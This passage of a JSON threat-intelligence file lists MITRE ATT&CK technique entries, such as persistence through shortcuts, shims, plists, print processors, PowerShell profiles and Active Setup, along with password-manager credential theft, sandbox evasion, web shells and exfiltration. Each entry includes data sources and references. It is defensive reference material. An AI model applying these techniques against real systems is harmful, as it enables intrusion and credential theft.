"description": "Adversaries may create or edit shortcuts to run a program during system boot or user login. Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.\n\nAdversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.",
"meta": {
"external_id": "CAPEC-132",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"File: File Creation",
"File: File Modification",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1547/009",
"https://capec.mitre.org/data/definitions/132.html",
"https://www.youtube.com/watch?v=nJ0UsyiUEqQ"
]
},
"related": [
{
"dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
"type": "subtechnique-of"
}
],
"uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
"value": "Shortcut Modification - T1547.009"
},
{
"description": "Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.\n\nAdversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.\n\nCertificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ)\n\nAfter obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.",
"meta": {
"external_id": "T1588.004",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_data_sources": [
"Certificate: Certificate Registration",
"Internet Scan: Response Content"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1588/004",
"https://letsencrypt.org/docs/faq/",
"https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/",
"https://www.recordedfuture.com/cobalt-strike-servers/",
"https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"
]
},
"related": [
{
"dest-uuid": "ce0687a0-e692-4b77-964a-0784a8e54ff1",
"type": "subtechnique-of"
}
],
"uuid": "19401639-28d0-4c3c-adcc-bc2ba22f6421",
"value": "Digital Certificates - T1588.004"
},
{
"description": "Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019)\n\nAdversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief) Adversaries may extract credentials from memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation: NVD CVE-2019-3610)\n Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)",
"meta": {
"external_id": "T1555.005",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access",
"Process: OS API Execution",
"Process: Process Access"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1555/005",
"https://github.com/GhostPack/KeeThief",
"https://nvd.nist.gov/vuln/detail/CVE-2019-3610",
"https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf",
"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware",
"https://www.ise.io/casestudies/password-manager-hacking/"
]
},
"related": [
{
"dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0",
"type": "subtechnique-of"
}
],
"uuid": "315f51f0-6b03-4c1e-bfb2-84740afb8e21",
"value": "Password Managers - T1555.005"
},
{
"description": "Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan)\n\nAdversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).",
"meta": {
"external_id": "T1596.005",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1596/005",
"https://shodan.io"
]
},
"related": [
{
"dest-uuid": "55fc4df0-b42c-479a-b860-7a6761bcaad0",
"type": "subtechnique-of"
}
],
"uuid": "ec4be82f-940c-4dcb-87fe-2bbdd17c692f",
"value": "Scan Databases - T1596.005"
},
{
"description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)\n\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.",
"meta": {
"external_id": "T1546.011",
"kill_chain": [
"mitre-attack:privilege-escalation",
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Modification",
"Module: Module Load",
"Process: Process Creation",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf",
"https://attack.mitre.org/techniques/T1546/011",
"https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf",
"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
]
},
"related": [
{
"dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db",
"type": "subtechnique-of"
}
],
"uuid": "42fe883a-21ea-4cfb-b94a-78b6476dcc83",
"value": "Application Shimming - T1546.011"
},
{
"description": "Adversaries can modify property list files (plist files) to execute their code as part of establishing persistence. Plist files are used by macOS applications to store properties and configuration settings for applications and services. Applications use information plist files, Info.plist, to tell the operating system how to handle the application at runtime using structured metadata in the form of keys and values. Plist files are formatted in XML and based on Apple's Core Foundation DTD and can be saved in text or binary format.(Citation: fileinfo plist file description) \n\nAdversaries can modify paths to executed binaries, add command line arguments, and insert key/pair values to plist files in auto-run locations which execute upon user logon or system startup. Through modifying plist files in these locations, adversaries can also execute a malicious dynamic library (dylib) by adding a dictionary containing the DYLD_INSERT_LIBRARIES key combined with a path to a malicious dylib under the EnvironmentVariables key in a plist file. Upon user logon, the plist is called for execution and the malicious dylib is executed within the process space. Persistence can also be achieved by modifying the LSEnvironment key in the application's Info.plist file.(Citation: wardle artofmalware volume1)",
"meta": {
"external_id": "T1547.011",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Modification",
"Process: Process Creation",
"Service: Service Creation"
],
"mitre_platforms": [
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1547/011",
"https://fileinfo.com/extension/plist",
"https://taomm.org/vol1/pdfs.html"
]
},
"related": [
{
"dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
"type": "subtechnique-of"
}
],
"uuid": "6747daa2-3533-4e78-8fb8-446ebb86448a",
"value": "Plist Modification - T1547.011"
},
{
"description": "Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, spoolsv.exe, during boot. \n\nAdversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLM\\SYSTEM\\\\[CurrentControlSet or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture: e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver Registry key that points to the DLL. For the print processor to be correctly installed, it must be located in the system print-processor directory that can be found with the GetPrintProcessorDirectory API call.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020) The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.",
"meta": {
"external_id": "T1547.012",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Driver: Driver Load",
"File: File Creation",
"Module: Module Load",
"Process: OS API Execution",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1547/012",
"https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor",
"https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/"
]
},
"related": [
{
"dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
"type": "subtechnique-of"
}
],
"uuid": "2de47683-f398-448f-b947-9abcc3e32fad",
"value": "Print Processors - T1547.012"
},
{
"description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.\n\n[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)",
"meta": {
"external_id": "T1546.013",
"kill_chain": [
"mitre-attack:privilege-escalation",
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"File: File Modification",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf",
"https://attack.mitre.org/techniques/T1546/013",
"https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6",
"https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html",
"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/"
]
},
"related": [
{
"dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db",
"type": "subtechnique-of"
}
],
"uuid": "0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3",
"value": "PowerShell Profile - T1546.013"
},
{
"description": "Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nAdversaries may abuse Active Setup by creating a key under HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\ and setting a malicious value for StubPath. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)\n\nAdversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.",
"meta": {
"external_id": "T1547.014",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation",
"Windows Registry: Windows Registry Key Creation",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1547/014",
"https://citizenlab.ca/2015/12/packrat-report/",
"https://digital-forensics.sans.org/summit-archives/2010/35-glyer-apt-persistence-mechanisms.pdf",
"https://helgeklein.com/blog/2010/04/active-setup-explained/",
"https://securelist.com/whos-really-spreading-through-the-bright-star/68978/",
"https://technet.microsoft.com/en-us/sysinternals/bb963902",
"https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/",
"https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html"
]
},
"related": [
{
"dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
"type": "subtechnique-of"
}
],
"uuid": "22522668-ddf6-470b-a027-9d6866679f67",
"value": "Active Setup - T1547.014"
},
{
"description": "Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call SMLoginItemSetEnabled.\n\nLogin items installed using the Service Management Framework leverage launchd, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.\n\nAdversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the “System Events” process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as tell application “System Events” to make login item at end with properties /path/to/executable.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)",
"meta": {
"external_id": "T1547.015",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"File: File Creation",
"File: File Modification",
"Process: Process Creation"
],
"mitre_platforms": [
"macOS"
],
"refs": [
"http://www.hexed.in/2019/07/osxdok-analysis.html",
"https://attack.mitre.org/techniques/T1547/015",
"https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/",
"https://blog.timschroeder.net/2013/04/21/smloginitemsetenabled-demystified/",
"https://developer.apple.com/documentation/coreservices/launch_services",
"https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/LaunchServicesKeys.html#//apple_ref/doc/uid/TP40009250-SW1",
"https://developer.apple.com/library/archive/samplecode/LoginItemsAE/Introduction/Intro.html#//apple_ref/doc/uid/DTS10003788",
"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html",
"https://eclecticlight.co/2018/05/22/running-at-startup-when-to-use-a-login-item-or-a-launchagent-launchdaemon/",
"https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/",
"https://gist.github.com/kaloprominat/6111584",
"https://objective-see.com/blog/blog_0x25.html",
"https://objective-see.com/blog/blog_0x31.html",
"https://objective-see.com/blog/blog_0x44.html",
"https://support.apple.com/guide/mac-help/open-items-automatically-when-you-log-in-mh15189/mac",
"https://www.sentinelone.com/blog/how-malware-persists-on-macos/"
]
},
"related": [
{
"dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
"type": "subtechnique-of"
}
],
"uuid": "84601337-6a55-4ad7-9c35-79e0d1ea2ab3",
"value": "Login Items - T1547.015"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1270).\n\nPersonnel internally to a company may belong to a group or maintain a role with electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is a system administrator. (Citation: RSA-APTRecon)",
"meta": {
"external_id": "T1270",
"kill_chain": [
"mitre-pre-attack:people-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1270"
]
},
"uuid": "89a79d91-53e0-4ef5-ba28-558cb8b01f76",
"value": "Identify groups/roles - T1270"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1304).\n\nProxies act as an intermediary for clients seeking resources from other systems. Using a proxy may make it more difficult to track back the origin of a network communication. (Citation: APT1)",
"meta": {
"external_id": "T1304",
"kill_chain": [
"mitre-pre-attack:adversary-opsec"
],
"refs": [
"https://attack.mitre.org/techniques/T1304"
]
},
"uuid": "b14f6692-b613-44bb-9f30-8381a5ff10d5",
"value": "Proxy/protocol relays - T1304"
},
{
"description": "Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges).",
"meta": {
"external_id": "CAPEC-557",
"kill_chain": [
"mitre-attack:execution",
"mitre-attack:persistence",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Command: Command Execution",
"Container: Container Creation",
"File: File Creation",
"File: File Modification",
"Process: Process Creation",
"Scheduled Job: Scheduled Job Creation"
],
"mitre_platforms": [
"Windows",
"Linux",
"macOS",
"Containers"
],
"refs": [
"https://attack.mitre.org/techniques/T1053",
"https://capec.mitre.org/data/definitions/557.html",
"https://technet.microsoft.com/en-us/library/cc785125.aspx"
]
},
"uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9",
"value": "Scheduled Task/Job - T1053"
},
{
"description": "Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. On Android and iOS, APIs and libraries exist to facilitate scheduling tasks to execute at a specified date, time, or interval.\n\nOn Android, the `WorkManager` API allows asynchronous tasks to be scheduled with the system. `WorkManager` was introduced to unify task scheduling on Android, using `JobScheduler`, `GcmNetworkManager`, and `AlarmManager` internally. `WorkManager` offers a lot of flexibility for scheduling, including periodically, one time, or constraint-based (e.g. only when the device is charging).(Citation: Android WorkManager)\n\nOn iOS, the `NSBackgroundActivityScheduler` API allows asynchronous tasks to be scheduled with the system. The tasks can be scheduled to be repeating or non-repeating, however, the system chooses when the tasks will be executed. The app can choose the interval for repeating tasks, or the delay between scheduling and execution for one-time tasks.(Citation: Apple NSBackgroundActivityScheduler)",
"meta": {
"external_id": "T1603",
"kill_chain": [
"mitre-mobile-attack:execution",
"mitre-mobile-attack:persistence"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1603",
"https://developer.android.com/topic/libraries/architecture/workmanager",
"https://developer.apple.com/documentation/foundation/nsbackgroundactivityscheduler"
]
},
"uuid": "00290ac5-551e-44aa-bbd8-c4b913488a6d",
"value": "Scheduled Task/Job - T1603"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1227).\n\nLeadership derives Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from the areas of most interest to them. KITs are an expression of management's intelligence needs with respect to early warning, strategic and operational decisions, knowing the competition, and understanding the competitive situation. KIQs are the critical questions aligned by KIT which provide the basis for collection plans, create a context for analytic work, and/or identify necessary external operations. (Citation: Herring1999)",
"meta": {
"external_id": "T1227",
"kill_chain": [
"mitre-pre-attack:priority-definition-planning"
],
"refs": [
"https://attack.mitre.org/techniques/T1227"
]
},
"uuid": "6063b486-a247-499b-976a-9de16f4e83bc",
"value": "Develop KITs/KIQs - T1227"
},
{
"description": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.(Citation: Microsoft Shutdown Oct 2017) Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.\n\nAdversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)",
"meta": {
"external_id": "T1529",
"kill_chain": [
"mitre-attack:impact"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation",
"Sensor Health: Host Status"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1529",
"https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html",
"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html",
"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown"
]
},
"uuid": "ff73aa03-0090-4464-83ac-f89e233c02bc",
"value": "System Shutdown/Reboot - T1529"
},
{
"description": "Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)\n\n",
"meta": {
"external_id": "T1497",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: OS API Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows",
"macOS",
"Linux"
],
"refs": [
"https://attack.mitre.org/techniques/T1497",
"https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc",
"https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/"
]
},
"uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d",
"value": "Virtualization/Sandbox Evasion - T1497"
},
{
"description": "Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols. ",
"meta": {
"external_id": "T1001",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Network Traffic: Network Traffic Content"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1001"
]
},
"uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842",
"value": "Data Obfuscation - T1001"
},
{
"description": "A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)\n\nWeb shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary's primary access methods are detected and removed.",
"meta": {
"external_id": "CAPEC-650",
"refs": [
"https://attack.mitre.org/techniques/T1100",
"https://capec.mitre.org/data/definitions/650.html",
"https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html",
"https://www.us-cert.gov/ncas/alerts/TA15-314A"
]
},
"related": [
{
"dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "c16e5409-ee53-4d79-afdc-4099dc9292df",
"value": "Web Shell - T1100"
},
{
"description": "Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection. \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).",
"meta": {
"external_id": "T1020",
"kill_chain": [
"mitre-attack:exfiltration"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access",
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow",
"Script: Script Execution"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows",
"Network"
],
"refs": [
"https://attack.mitre.org/techniques/T1020"
]
},
"uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9",
"value": "Automated Exfiltration - T1020"
},
{
"description": "Adversaries may introduce computer accessories, computers, or networking hardware into a system or network that can be used as a vector to gain access. While public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping (Citation: Ossmann Star Feb 2011), network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016), addition of new wireless access to an existing network (Citation: McMillan Pwn March 2012), and others.",
"meta": {
"external_id": "CAPEC-440",
"kill_chain": [
"mitre-attack:initial-access"
],
"mitre_platforms": [
"Windows",
"Linux",
"macOS"
],
"refs": [
